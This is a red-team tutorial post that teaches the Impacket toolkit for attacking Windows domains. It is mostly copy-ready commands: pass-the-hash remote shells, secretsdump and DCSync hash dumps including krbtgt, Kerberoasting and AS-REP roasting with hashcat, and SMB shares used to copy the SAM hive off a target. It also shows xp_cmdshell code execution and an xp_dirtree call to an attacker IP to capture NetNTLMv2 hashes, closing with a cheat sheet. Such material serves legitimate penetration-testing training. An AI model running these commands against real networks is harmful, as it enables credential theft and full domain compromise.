Impacket: Speaking Windows Protocols from a Linux Terminal

Series: The Community's Red Team

Post: 14 of 17

Tags: impacket, psexec, wmiexec, secretsdump, kerberoast, DCSync, Windows, tools

Read time: ~12 min

Prerequisites: Post 06 — CrackMapExec, Post 12 — Metasploit

Impacket is a Python library that implements Windows network protocols — SMB, MSRPC, LDAP, Kerberos, MSSQL, and more — at a level that lets you interact with Windows infrastructure from a Linux machine without needing to be domain-joined or running Windows at all.

For red teamers the practical value is enormous: you can get interactive shells on Windows machines, dump every password hash in a domain, perform Kerberoasting attacks, run DCSync against a domain controller, and set up SMB servers for file transfers — all from your Kali terminal. Most of the individual tools you'll use (psexec.py, secretsdump.py, GetUserSPNs.py) are bundled together as the Impacket suite.

This post covers the tools you'll actually use on every Windows engagement.

Installation and Naming

On Kali, Impacket tools are installed as system commands with the impacket- prefix:

impacket-psexec
impacket-wmiexec
impacket-secretsdump
impacket-GetUserSPNs
impacket-GetNPUsers
impacket-smbserver
impacket-mssqlclient
impacket-lookupsid

On other systems, install with:

pip install impacket --break-system-packages

The authentication syntax is consistent across almost all tools:

domain/username:password@target_ip

For pass-the-hash, replace the password with the hash:

domain/username@target_ip -hashes LM:NT
# LM is usually blank: aad3b435b51404eeaad3b435b51404ee:NT_hash

Remote Execution: psexec, wmiexec, smbexec

Three ways to get a shell on a Windows machine. They differ in noise level, artifact creation, and detectability.

psexec.py — Noisiest, most reliable

impacket-psexec domain/user:pass@<target>
impacket-psexec domain/user@<target> -hashes :NT_hash

How it works: uploads a service binary to the ADMIN$ share, creates a Windows service to run it, then removes the binary. Creates disk artifacts and Windows event log entries. Requires local admin. Returns a SYSTEM shell.

Use psexec when reliability matters more than stealth.

wmiexec.py — Semi-interactive, less noisy

impacket-wmiexec domain/user:pass@<target>
impacket-wmiexec domain/user@<target> -hashes :NT_hash

How it works: uses Windows Management Instrumentation (WMI) to execute commands. Doesn't create a service. Less disk artifacts. Returns a semi-interactive shell running as the specified user (not SYSTEM).

Use wmiexec when you want less noise than psexec. The default choice for most situations.

smbexec.py — Different service approach

impacket-smbexec domain/user:pass@<target>

How it works: creates a service that executes each command through cmd.exe, captures output to a temporary file in the SYSTEM temp directory. More artifact-heavy than wmiexec but sometimes works when psexec fails.

Use smbexec as a fallback when psexec and wmiexec both fail.

Which to use

psexec  → SYSTEM shell, reliable, noisy — use first to confirm access
wmiexec → user-level shell, less noisy — use for ongoing operations
smbexec → last resort if psexec/wmiexec fail

secretsdump.py: The Hash Dump Tool

The most important Impacket tool for credential extraction. Dumps hashes from remote machines without needing to upload binaries.

Remote SAM dump (local accounts)

impacket-secretsdump domain/user:pass@<target>

Dumps local account NTLM hashes from the SAM database. Output looks like:

Administrator:500:aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

Format: username:RID:LM_hash:NT_hash:::. The NT hash (4th field) goes straight into Hashcat mode 1000.

Remote LSA secrets

Same command — secretsdump dumps both SAM and LSA by default. LSA secrets include service account credentials, scheduled task passwords, and cached domain credentials.

Pass-the-hash version

impacket-secretsdump domain/user@<target> -hashes aad3b435b51404eeaad3b435b51404ee:NT_hash

Domain Controller — full NTDS dump (DCSync)

If you have a domain admin account or DCSync rights, this dumps every hash in the domain:

impacket-secretsdump domain/admin:pass@<DC_ip>

Specific users only:

impacket-secretsdump domain/admin:pass@<DC_ip> -just-dc-user administrator
impacket-secretsdump domain/admin:pass@<DC_ip> -just-dc-user krbtgt

The KRBTGT hash is used for Golden Ticket attacks.

From local SAM/SYSTEM files

After exfiltrating registry hive files from a machine:

# On target — save hives
reg.exe save hklm\sam C:\sam.save
reg.exe save hklm\system C:\system.save
reg.exe save hklm\security C:\security.save

# Transfer to attack machine, then:
impacket-secretsdump -sam sam.save -security security.save -system system.save LOCAL

Kerberoasting: GetUserSPNs.py

Requests TGS tickets for service accounts with SPNs registered. These tickets are crackable offline. Any domain user can do this — no special privileges required.

List Kerberoastable accounts

impacket-GetUserSPNs domain/user:pass -dc-ip <DC_ip>

Output shows usernames and their SPNs. Service accounts with names like svc_sql, svc_backup, MSSQLSvc are priority targets — they often have weak, never-changed passwords.

Request the ticket hashes

impacket-GetUserSPNs domain/user:pass -dc-ip <DC_ip> -request

Output is a TGS-REP hash starting with $krb5tgs$23$*. Save it to a file and crack with Hashcat mode 13100:

hashcat -m 13100 tgs_hashes.txt /usr/share/wordlists/rockyou.txt

Target a specific account

impacket-GetUserSPNs domain/user:pass -dc-ip <DC_ip> -request-user svc_sql

AS-REP Roasting: GetNPUsers.py

Targets accounts with Kerberos pre-authentication disabled. These accounts respond to AS-REQ requests with an AS-REP hash that's crackable without knowing the password first.

With a username list (no credentials needed)

impacket-GetNPUsers domain/ -dc-ip <DC_ip> -no-pass -usersfile users.txt

With credentials (more reliable)

impacket-GetNPUsers domain/user:pass -dc-ip <DC_ip> -request

Output is AS-REP hashes starting with $krb5asrep$23$. Crack with Hashcat mode 18200:

hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt

SMB Server: smbserver.py

Sets up a quick SMB share from your attack machine. Useful for transferring files to and from Windows targets without setting up HTTP.

# Simple share
impacket-smbserver share ./ -smb2support

# Named share with credentials (required by modern Windows)
impacket-smbserver share ./ -smb2support -username user -password pass

On the Windows target:

:: Copy file TO the share (exfiltrate from target)
copy C:\Windows\System32\config\SAM \\<your_ip>\share\

:: Copy file FROM the share (upload tool to target)
copy \\<your_ip>\share\winpeas.exe .

:: Or run directly without copying
\\<your_ip>\share\winpeas.exe

-smb2support is required for Windows 10 and Server 2016+ — they reject SMB1-only servers by default.

MSSQL Client: mssqlclient.py

Interactive MSSQL shell from Linux. Useful for database interaction, credential testing, and achieving RCE through xp_cmdshell.

# Windows authentication
impacket-mssqlclient domain/user:pass@<target> -windows-auth

# SQL authentication
impacket-mssqlclient sa:pass@<target>

Inside the client:

-- List databases
SELECT name FROM master.dbo.sysdatabases

-- Enable xp_cmdshell (if you have sysadmin rights)
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;

-- Execute OS commands
EXEC xp_cmdshell 'whoami'
EXEC xp_cmdshell 'net user'

-- Steal NetNTLMv2 hash via UNC path
EXEC master..xp_dirtree '\\<your_ip>\share'

The xp_dirtree trick forces the MSSQL service account to authenticate to your SMB server, capturing its NetNTLMv2 hash in Responder or your smbserver.py instance. Crack that hash with Hashcat mode 5600.

SID Enumeration: lookupsid.py

Brute-forces SIDs to enumerate domain users without needing LDAP access. Useful when LDAP is blocked or when you only have guest-level SMB access.

impacket-lookupsid domain/user:pass@<DC_ip>
impacket-lookupsid domain/user:pass@<DC_ip> 20000    # enumerate higher RIDs

Outputs a list of usernames mapped to their SIDs. Feed the usernames into password spraying or AS-REP roasting.

Quick Reference

# Remote shells
impacket-psexec domain/user:pass@<target>            # SYSTEM shell, noisy
impacket-wmiexec domain/user:pass@<target>           # user shell, quieter
impacket-psexec domain/user@<target> -hashes :NT     # pass-the-hash

# Hash dumping
impacket-secretsdump domain/user:pass@<target>       # SAM + LSA
impacket-secretsdump domain/admin:pass@<DC_ip>       # full NTDS (DCSync)
impacket-secretsdump domain/admin:pass@<DC_ip> -just-dc-user krbtgt
impacket-secretsdump -sam sam.save -security security.save -system system.save LOCAL

# Kerberoasting
impacket-GetUserSPNs domain/user:pass -dc-ip <DC_ip>           # list targets
impacket-GetUserSPNs domain/user:pass -dc-ip <DC_ip> -request  # get hashes
hashcat -m 13100 kerberoast.txt rockyou.txt

# AS-REP Roasting
impacket-GetNPUsers domain/ -dc-ip <DC_ip> -no-pass -usersfile users.txt
impacket-GetNPUsers domain/user:pass -dc-ip <DC_ip> -request
hashcat -m 18200 asrep.txt rockyou.txt

# SMB server
impacket-smbserver share ./ -smb2support
impacket-smbserver share ./ -smb2support -username user -password pass

# MSSQL
impacket-mssqlclient domain/user:pass@<target> -windows-auth

# SID enumeration
impacket-lookupsid domain/user:pass@<DC_ip>

What's Next

Posts 15 and 16 cover pivoting — getting from a compromised machine in one network segment into segments your attack machine can't directly reach. Post 15 covers Chisel, and Post 16 covers Ligolo-ng, which is the preferred pivoting tool for CPTS and complex multi-hop networks.

MeshForge — Training the Community's Red Team

They count on your ignorance. The exploit only works on the uninformed.